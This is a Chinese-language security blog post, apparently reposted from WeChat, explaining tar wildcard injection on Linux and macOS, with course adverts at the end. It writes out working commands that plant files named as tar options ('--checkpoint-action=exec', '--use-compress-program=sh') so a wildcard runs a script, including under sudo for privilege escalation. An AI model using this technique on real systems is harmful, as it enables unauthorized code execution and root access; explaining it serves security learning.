Tar 通配符注入
在解决 HTB 和 THM 等平台上的挑战时,我遇到了几次通配符注入。
通配符注入的概念依赖于制作一个或多个名称为函数参数的文件,使用通配符的目标进程将扩展为实际参数。
虽然通配符注入本身并不是什么大问题,但在某些特定情况下,它可能会导致代码执行甚至权限提升。Linux 上一个众所周知的二进制文件容易受到使用通配符注入的代码执行的影响,它正在使用以下参数:tar
--checkpoint
echo''>'--checkpoint-action=exec=sh demo.sh'
echo''>'--checkpoint=1'
chmod +x demo.sh
tar -cf demo.tgz *
macOS 的
该参数在 macOS 二进制文件中不存在。但是,在阅读了文档并测试了许多参数后,我注意到 能够执行 .在手册页上,此参数描述如下:--checkpoint
tar
--use-compress-program
sh
--use-compress-program program
通过程序传输输入(x 或 t 模式)或输出(c 模式),而不是使用内置的压缩支持。
设置文件
要设置 tar 通配符注入,需要创建两个文件。构建的参数和将要执行的脚本:
示例代码创建一个临时目录,演示脚本将当前用户名写入该目录中的 proof 文件:
mkdir /tmp/tar
cd /tmp/tar
echo''>'--use-compress-program=sh demo.sh'
echo'whoami>>/tmp/tar/proof.txt'>demo.sh
chmod +x demo.sh
执行
当使用通配符在创建的目录中调用时,将执行脚本。如果这是使用 完成的,则会导致权限提升:tar
demo.sh
sudo
示例代码:
sudo tar cvzf demo.tgz *
cat /tmp/tar/proof.txt
虽然与 Linux 相比,在 macOS 上使用通配符执行的计划任务可能有点罕见,但如上所示,可以使用通配符注入来执行我们自己的代码。tar
来源
- https://ss64.com/mac/tar.html
原文发布于 https://pampuna.nl/blog/2024/12/macos-tar-wildcard-injection.html。
其它相关课程
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
rust语言全栈开发视频教程
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):macOS — Tar 通配符注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论